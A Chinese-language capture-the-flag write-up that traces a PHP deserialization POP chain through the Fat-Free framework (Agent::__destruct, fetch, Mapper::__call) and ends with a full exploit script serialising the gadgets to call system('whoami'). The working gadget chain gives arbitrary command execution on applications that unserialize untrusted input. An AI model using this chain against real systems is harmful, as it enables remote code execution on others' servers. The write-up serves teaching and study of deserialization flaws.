题目给出了源码。首先就从index.php开始看
使用了Kickstart框架。然后倒数第二行有个反序列化。。那么就是挖POP链了
全局搜__wakeup
并没有。然后搜destruct。
其他两个destruct都是空的。所以。入口点必定是在lib/cli/ws.php的destruct中
在destruct写个die进去。测试下是否能调用类
发现并不能直接调用类。用phpstorm单步执行下
发现。。他这里如果传Agent类。就会去自动包含clib/Agent.php
然而。。并没有这个Agent.php
继续试着传ws.php中的WS类
正常包含ws.php。并且反序列化了WS类
那么destruct所在的Agent类。也是ws.php中的。我们又如何去反序列化它。
传个数组不就好了
成功包含ws.php。调用到了Agent类的destruct方法
如果这里我们WS类和Agent类位置换下。就不能成功调用了。
以我们的payload为例。
array(new CLI\WS(),new CLI\Agent())
先解析数组中的第一个类。WS。然后autoload。会自动包含ws.php。反序列化WS类
然后再解析数组中的第二个类。Agent。autoload会解析为Agent.php。并不能包含。然后反序列化。由于第一个WS类。已经包含过ws.php了。所以这里能直接反序列化ws.php中的Agent类
开始找POP链
这里就直接说链子了。
function __destruct() {
if (isset($this->server->events['disconnect']) &&
is_callable($func=$this->server->events['disconnect']))
$func($this);
}
这里的$func。我们可以把他变为一个数组。array(类名,方法)
即可调用任意类的任意方法。然后参数是$this,PHP的函数如果没定义参数。。带上参数访问也是没问题的。
继续看。还是在ws.php中。WS类有个fetch方法
调用了
$this->server->read($this->socket)
把server定义为其他类就可以触发call方法
那么我们是否能找一个__call方法。动态调用函数
在lib/db/sql/mapper.php中发现了符合条件的__call方法
执行了
call_user_func_array($this->props[$func],$args)
//call的第一个参数。是我们之前调用的函数名。第二个参数就是$this->sockeet
$this->server->read($this->socket)
我们只要把call函数所在的Mapper类的props设置为array('read'=>'system')
把WS类的$this->socket设置为whoami。即可动态调用system('whoami')
exp如下
<?php
namespace DB\SQL{
class Mapper {
public $props=['read'=>'system'];
}
}
namespace CLI{
class ws{}
class Agent {
public $server;
public $events;
public $socket;
public function __construct(){
$this->server=$this;
}
}
}
namespace {
$b=new DB\SQL\Mapper();
//初始化call
$a=new CLI\Agent();
//静态调用函数触发fetch。重新定义Agent类的server和socket
$a->server=$b;
$a->socket='whoami';
$c=new CLI\Agent();
//传入的Agent
$c->events=array('disconnect'=>array($a,'fetch'));
//传入一个数组
echo urlencode(serialize([new CLI\ws,$c]));
}
?>